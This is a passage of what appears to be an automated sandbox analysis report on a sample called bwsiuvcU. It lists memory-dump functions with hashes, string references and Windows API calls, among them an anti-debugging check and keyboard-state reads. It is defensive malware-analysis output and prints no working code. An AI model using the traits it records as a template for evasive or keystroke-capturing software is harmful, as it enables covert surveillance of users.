SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Uniqueness

Uniqueness Score: -1.00%

Function 411B1214 Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

\V^m, xrefs: 411B14D7

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: \V^m
API String ID: 0-3751104571
Opcode ID: 4598797b7fb06603a03a42cd517fdac37ca3d8048a6f414977abf68dd2557e44
Instruction ID: 946b75a3b2e184c1d1b3350a85c060782b7501ac1ae208a96e63404fc9b25f1b
Opcode Fuzzy Hash: 4598797b7fb06603a03a42cd517fdac37ca3d8048a6f414977abf68dd2557e44
Instruction Fuzzy Hash: FBB16DB0E00209CFDB10CFA9E8857DDBBF2BF89354F158129D815E7298EB749841CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Function 411B0ECC Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

\V^m, xrefs: 411B1123

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: \V^m
API String ID: 0-3751104571
Opcode ID: 40e65cabe845ff7c40157a7d520974af6eaed88241ad970131ea2521fe3cdaa2
Instruction ID: c6eb5a1998e6c7f1362a5f246a598b885dce82d701134498b835d149612dc54e
Opcode Fuzzy Hash: 40e65cabe845ff7c40157a7d520974af6eaed88241ad970131ea2521fe3cdaa2
Instruction Fuzzy Hash: C5919E70E00349DFDF10CFA9E9807DDBBF2AF88354F218129E814AB298DB749945CB95

Uniqueness

Uniqueness Score: -1.00%

Function 411BF320 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

PHq, xrefs: 411BF482

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: PHq
API String ID: 0-3820536768
Opcode ID: 43a3847e593981da5fd38c7b16019f49ec888e82af0674efa44bab22e31b9d3c
Instruction ID: cc769be522e6715dc703c75f2d0a6811f66d0722e846011f0dcb004942dc5b19
Opcode Fuzzy Hash: 43a3847e593981da5fd38c7b16019f49ec888e82af0674efa44bab22e31b9d3c
Instruction Fuzzy Hash: 4241DF30B002068FEB199B78C46476E7AE3AF89350F214478D006DB395EE39ED06C799

Uniqueness

Uniqueness Score: -1.00%

Function 411B4BB0 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

LRq, xrefs: 411B4BD7

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: c8168561a3a60127283dfdb1bcdc7b575baba2dde56f6cda045d31177993f06a
Instruction ID: cfdcf59b2afa1b8901a5a39563dc5c9ec1f27297dda2b26254749273e4f43620
Opcode Fuzzy Hash: c8168561a3a60127283dfdb1bcdc7b575baba2dde56f6cda045d31177993f06a
Instruction Fuzzy Hash: 1901F132B042445FC7059B7E901076EBFBAEFC6311B2084AFE406CB791DE319C418796

Uniqueness

Uniqueness Score: -1.00%

Function 411B4B9B Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

LRq, xrefs: 411B4BD7

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 3af9d1c89df42050ccfa3dc7e1aeb0fddebb9a5f760318ead050e3617ea7fab4
Instruction ID: 654d9ab89a3add2e320c69880f22232444e21f1366725fd48ecb125243c4e7d5
Opcode Fuzzy Hash: 3af9d1c89df42050ccfa3dc7e1aeb0fddebb9a5f760318ead050e3617ea7fab4
Instruction Fuzzy Hash: 2901DE71B002508FC7059B79D15036D7FE6AF89310B1080ABD00ACB791DE399842CB96

Uniqueness

Uniqueness Score: -1.00%

Function 411B9150 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78641da911b566ff34fbb29226ce30d860c5c9848e9aac9e9cfc1352e0cbe8b1
Instruction ID: d190bb60b7107fb0592c71cca50f3149bcd6a212bcc843c8d5e651294848564e
Opcode Fuzzy Hash: 78641da911b566ff34fbb29226ce30d860c5c9848e9aac9e9cfc1352e0cbe8b1
Instruction Fuzzy Hash: FED19D74B001089FDB04DBB8C594BAEBBF6EF89310F218469E506DB392DA35DD42CB95

Uniqueness

Uniqueness Score: -1.00%

Function 411B1AE4 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef591da578bcc432ebdc7082db576e4498f0ba31380e431c427d27b835ad115b
Instruction ID: d184f98daecddc0734772ef22dbd76844710877cee398307295272a5992f1cdc
Opcode Fuzzy Hash: ef591da578bcc432ebdc7082db576e4498f0ba31380e431c427d27b835ad115b
Instruction Fuzzy Hash: 1AA19D70E00219CFDB14CFA9E8857DEBBF1BF48354F218529E815E7298EB749841CB85

Uniqueness

Uniqueness Score: -1.00%

Function 411B96F0 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95dbda1cbd532fea041dce2c19476fc345529d2963f3d29d1f4af6eecc0267ca
Instruction ID: 93a1372eadf92820bbda66fe364d985c39b144dae9ae16c063b5e04c5a78bb6e
Opcode Fuzzy Hash: 95dbda1cbd532fea041dce2c19476fc345529d2963f3d29d1f4af6eecc0267ca
Instruction Fuzzy Hash: 06816C71A002098FDB44DF69D884B9DBBF5FF88310F14C169E909AB396EB71D845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 411B94F8 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 822181ca8ad2bedb9ad479c2ffa0ce83574ec00f8a2f6caf7cb5310fdb1eb888
Instruction ID: cc8e23b34a20aa32dd0d7809c1aa3887264860f61bd07ae3bcdbb72910e7c6c7
Opcode Fuzzy Hash: 822181ca8ad2bedb9ad479c2ffa0ce83574ec00f8a2f6caf7cb5310fdb1eb888
Instruction Fuzzy Hash: 2151E6B0B012094FEB158B78C59176F7BA6EB86310F21483AD51ADB382EA35DD43C796

Uniqueness

Uniqueness Score: -1.00%

Function 411B4CDC Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69775fc75912090cfd312819c6d9d6efdc7f3aeab2dd3e88bbf7fea2c276a740
Instruction ID: e1ee803cbe99810c36a1bc0e1d2095d13bc4ebef763a33d08e70b85f95991326
Opcode Fuzzy Hash: 69775fc75912090cfd312819c6d9d6efdc7f3aeab2dd3e88bbf7fea2c276a740
Instruction Fuzzy Hash: 9D511375D102288FEB14CFA9C884B9DBBF1BF48310F118129E91ABB791D7789840CB95

Uniqueness

Uniqueness Score: -1.00%

Function 411B3A44 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b265ec992a7d1aebabb8db8b2029eda83e296f0921bca779280805b440d7a6
Instruction ID: 1877760450d334a84f0e2c4d3f2fb0c1841fc020d4e070fdea20a4e64b0c101d
Opcode Fuzzy Hash: 87b265ec992a7d1aebabb8db8b2029eda83e296f0921bca779280805b440d7a6
Instruction Fuzzy Hash: D6511475D102288FDB14CFA9C884B9DBBF1BF48310F128529E916BB795D778A840CF95

Uniqueness

Uniqueness Score: -1.00%

Function 411B3A5C Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f92ccea8efd82304859cbb4a8748c67159d306ab954676014a97a8c752303a86
Instruction ID: 597d3b3ea0e6e52232a71fb3eeb27be86f19d111674b95228ff37d315b15e2e2
Opcode Fuzzy Hash: f92ccea8efd82304859cbb4a8748c67159d306ab954676014a97a8c752303a86
Instruction Fuzzy Hash: 43510575D102288FDB14CFA9C884B9DBBF1BF48310F128529E916BB791D778A844CF95

Uniqueness

Uniqueness Score: -1.00%

Function 411B2109 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73bd228c6ebc19b27b19940f25924301fe074a5e79d86523069884682668a0fd
Instruction ID: 3e14b14808bf6d77b32975af1ef071861314c94ced1f0e682a4ba72fb39c870a
Opcode Fuzzy Hash: 73bd228c6ebc19b27b19940f25924301fe074a5e79d86523069884682668a0fd
Instruction Fuzzy Hash: 92318D34B042148BEB19EBB4C5106AE37F2AF89344F1144ADD602EB395EF39ED06CB59

Uniqueness

Uniqueness Score: -1.00%

Function 411B2118 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6310c200ea8f6faa811301ef8046efdc1a9dd52b48e117de522d304edb8a3e1
Instruction ID: 5c58b10c708076d9eda18bbe95e25fb0385fd827a427c34e2aa703eb4aa1f410
Opcode Fuzzy Hash: c6310c200ea8f6faa811301ef8046efdc1a9dd52b48e117de522d304edb8a3e1
Instruction Fuzzy Hash: 8E314F34B042148BEB59EBB4C5506AE37F6AF89344F114068D602EB395EF35DD06CB55

Uniqueness

Uniqueness Score: -1.00%

Function 411B1FE1 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95bb3357ff6e73845c24159b956d8b53362883728223a0519d57561f0ec8d4a7
Instruction ID: fc0fd0ce762e3b8786d2e63908a8c04c3eae56d4dece0e0052b6ee34ee6b0473
Opcode Fuzzy Hash: 95bb3357ff6e73845c24159b956d8b53362883728223a0519d57561f0ec8d4a7
Instruction Fuzzy Hash: 3A215A70B002148FEB44EF78C528BAE77F2AF8C304B114469E506EB3A1EB35AD05CB65

Uniqueness

Uniqueness Score: -1.00%

Function 3BECD5E8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1678600957.000000003BECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 3BECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3becd000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bca9c5dd4fa8096e35ae9fc6672c589e3526e7d527217c119bf48977861897f3
Instruction ID: 5dd4b298fce3c87f4c84a9a53255623eae1d33f47d6424948f00bef6641767f7
Opcode Fuzzy Hash: bca9c5dd4fa8096e35ae9fc6672c589e3526e7d527217c119bf48977861897f3
Instruction Fuzzy Hash: 4321C1B5904304DFEB05DF58DAC0B17BB65EB98724F20C5A9E80D0B256C736D466CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 3BECD4FC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1678600957.000000003BECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 3BECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3becd000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cee78f2bec139be82bfec9e67a2eea5c0e254678f48ff7728bb04c56216d692f
Instruction ID: 08101a4eb907a16ba31000b918aa499cdfaef573d2e58a5e68c5cb9c5c11cdc1
Opcode Fuzzy Hash: cee78f2bec139be82bfec9e67a2eea5c0e254678f48ff7728bb04c56216d692f
Instruction Fuzzy Hash: 7521D675604304DFEB05DF54DAC0B17BF66FB98728F20C569D8080A246CB37D866CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 411B1FF0 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e3092c6ec73bc9c61f2d036168a382a0d3db54b65b7fd2b88f8ca41e6d7bd5
Instruction ID: aa5cf974b1a223c8db0e1241156574a755f9f89f005f7fadc2e01ba8ff7dc962
Opcode Fuzzy Hash: 70e3092c6ec73bc9c61f2d036168a382a0d3db54b65b7fd2b88f8ca41e6d7bd5
Instruction Fuzzy Hash: 6A211930B001148FEB44EB78C528B9E77F6AF8D344F114468E606EB3A5EB35AD05CB65

Uniqueness

Uniqueness Score: -1.00%

Function 3D89D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1679481558.000000003D89D000.00000040.00000800.00020000.00000000.sdmp, Offset: 3D89D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3d89d000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aff6d9d7c640df3418fcd1b1023282bf250edba775112484c8a9f6d1ed5ed5e
Instruction ID: 29d0744acfb64e2bfb8e626129fad28a9e9b7b05d9fcbb0a99a8272034b27379
Opcode Fuzzy Hash: 9aff6d9d7c640df3418fcd1b1023282bf250edba775112484c8a9f6d1ed5ed5e
Instruction Fuzzy Hash: B12104B5604304DFEB15DF14D9C0B56BBA5FB88318F20C5ADE8894B346C73AE847CA66

Uniqueness

Uniqueness Score: -1.00%

Function 3D89D118 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1679481558.000000003D89D000.00000040.00000800.00020000.00000000.sdmp, Offset: 3D89D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3d89d000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5457f6aea94deb79d90841e3b9a7ad73326b214377587a8498fba3112c1f786f
Instruction ID: b1842f07ae4ac9fc0949273e5c9f19eb0486e0dbb2c0b9723d8ef69ffa7d9452
Opcode Fuzzy Hash: 5457f6aea94deb79d90841e3b9a7ad73326b214377587a8498fba3112c1f786f
Instruction Fuzzy Hash: C821F6B6604344DFE705DF10D9C0B56FBA5FB88318F20C5ADE8894B356C73AE846CA65

Uniqueness

Uniqueness Score: -1.00%

Function 3BECD5E3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1678600957.000000003BECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 3BECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3becd000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63b2946cef6f228bea6bf308b0c32d66e3d437da7a1df527002fe7e9624e2f1
Instruction ID: 8d73893df382eb174a2db1081d357e85abeb471e4cdf70c53174de3d5f49d147
Opcode Fuzzy Hash: f63b2946cef6f228bea6bf308b0c32d66e3d437da7a1df527002fe7e9624e2f1
Instruction Fuzzy Hash: C311E676904240DFDB05DF54DAC0B06BF72FB84328F24C5ADD8490B256C336D466CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 3BECD4F7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1678600957.000000003BECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 3BECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3becd000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63b2946cef6f228bea6bf308b0c32d66e3d437da7a1df527002fe7e9624e2f1
Instruction ID: 411c6930ea210c2704f8b43cf5e8ef868148c2cdbe947bbcbc82ed41743f5941
Opcode Fuzzy Hash: f63b2946cef6f228bea6bf308b0c32d66e3d437da7a1df527002fe7e9624e2f1
Instruction Fuzzy Hash: 4B11267A904240CFDB01CF44D6C0B46BF72FB84328F24C5A9DC090B256C336D866CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 411B96E0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a3d0668c2b215408e1af8c3731554e9a34db3c7bba3e2835fd98f7394014ba9
Instruction ID: 93a08a19ffb9eeb27c3e3171271f225c585d02fba390cdd83e3aa345748c9af7
Opcode Fuzzy Hash: 8a3d0668c2b215408e1af8c3731554e9a34db3c7bba3e2835fd98f7394014ba9
Instruction Fuzzy Hash: C211C474E002088FDB14EF65D9807DABBB9FFC0355F548664C8085F25AEB74E946CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 3D89D02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1679481558.000000003D89D000.00000040.00000800.00020000.00000000.sdmp, Offset: 3D89D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3d89d000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04350605a9db7d138f2fbe48ca01c73726ab69fdae8acd1ee8d1c9fc5ffa3134
Instruction ID: 772aefb53604a0e3520e0bf5af9081df0e8eda3fd9f8b88457326f5b5a3dd7a6
Opcode Fuzzy Hash: 04350605a9db7d138f2fbe48ca01c73726ab69fdae8acd1ee8d1c9fc5ffa3134
Instruction Fuzzy Hash: 09118E79504284DFDB05CF14D5C4B55FBA1FB84318F24C6AAE8894B656C33AE44ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 3D89D113 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1679481558.000000003D89D000.00000040.00000800.00020000.00000000.sdmp, Offset: 3D89D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3d89d000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73dffea63e67940af6b1039a6773131afa24dcc9bd8238ce6eacd3c46b7956
Instruction ID: 888183f54fb5673703829c8854c29c3c05804aaeb9b8a7b136f01a62333e3ae7
Opcode Fuzzy Hash: aa73dffea63e67940af6b1039a6773131afa24dcc9bd8238ce6eacd3c46b7956
Instruction Fuzzy Hash: F9118E7A504284CFD705CF10D9C0B55FFA2FB84318F24C6ADD8894B656C33AE84ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 3BECD005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1678600957.000000003BECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 3BECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3becd000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0847e1d150f7f63eeda33b739a7756a15e3f6d4724c6775db3ff23cabf1cfd
Instruction ID: 4594ab213faf88a7b3247cf363f580587de1512a65544e89cc2108d635be5070
Opcode Fuzzy Hash: 3f0847e1d150f7f63eeda33b739a7756a15e3f6d4724c6775db3ff23cabf1cfd
Instruction Fuzzy Hash: 4E01807140D3C09FE3128B258D94B52BFB4DF43224F19C1DBD8888F1A3C2695848CB72

Uniqueness

Uniqueness Score: -1.00%

Function 3BECD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1678600957.000000003BECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 3BECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3becd000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef26caa7b72dcdbff65820ad3872e5c8261bdde153f33fb9eae65ee8f4ae9ec
Instruction ID: e91b1779e8e6df3da35eec899a7510b57b9e84338c2f1610440104cd7400428b
Opcode Fuzzy Hash: 8ef26caa7b72dcdbff65820ad3872e5c8261bdde153f33fb9eae65ee8f4ae9ec
Instruction Fuzzy Hash: 9A01F2718083089AF3504B6DCE81B57BFD9DF41669F04C01AED494B282C67A9846CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 411B50B8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98fdf435bc4a8a083626a2cc400d63408834598a80cb1a075ef054f723bfd43d
Instruction ID: b3e59e3f29f0c9f49a081b5866ee329d4be9f17ec865532feeea79b30a73623a
Opcode Fuzzy Hash: 98fdf435bc4a8a083626a2cc400d63408834598a80cb1a075ef054f723bfd43d
Instruction Fuzzy Hash: FAF0C939B402048FDB04DB78C568B6D77B2FF89715F158068E5069B3A4DF35AD42CB40

Uniqueness

Uniqueness Score: -1.00%

Function 411B2450 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10eca54c64d72b28c8f884ae3ac544b73f3730aeb5a12df203a8034e3729a6a7
Instruction ID: e847e3853a02432e725e9fc6993d4c3a1a4d0893d42997afc7c03c4f936d7486
Opcode Fuzzy Hash: 10eca54c64d72b28c8f884ae3ac544b73f3730aeb5a12df203a8034e3729a6a7
Instruction Fuzzy Hash: 67E09A313502148FD744EBBCE8089A97BE9EF4922130580A5F60ECB361EE21DC00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 411B2440 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0cf96c16c30ec9d19e1d1192e3a22083537b102fc9b5573d6e5d95817f83d19
Instruction ID: b0cf8452cc7848e09b6a0a23bd1667aa97fd5b014bf114a1f838cbeecb600bce
Opcode Fuzzy Hash: b0cf96c16c30ec9d19e1d1192e3a22083537b102fc9b5573d6e5d95817f83d19
Instruction Fuzzy Hash: C6E0D8717442004FE394ABB8D5486793BE5BF082117018195E60DDB261EF34CC01C715

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.1639938993.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.1639938993.000000000044B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 41D67A03 Relevance: 4.6, APIs: 3, Instructions: 76keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 41D67A55
GetKeyState.USER32(00000011), ref: 41D67A9A
GetKeyState.USER32(00000012), ref: 41D67ADF

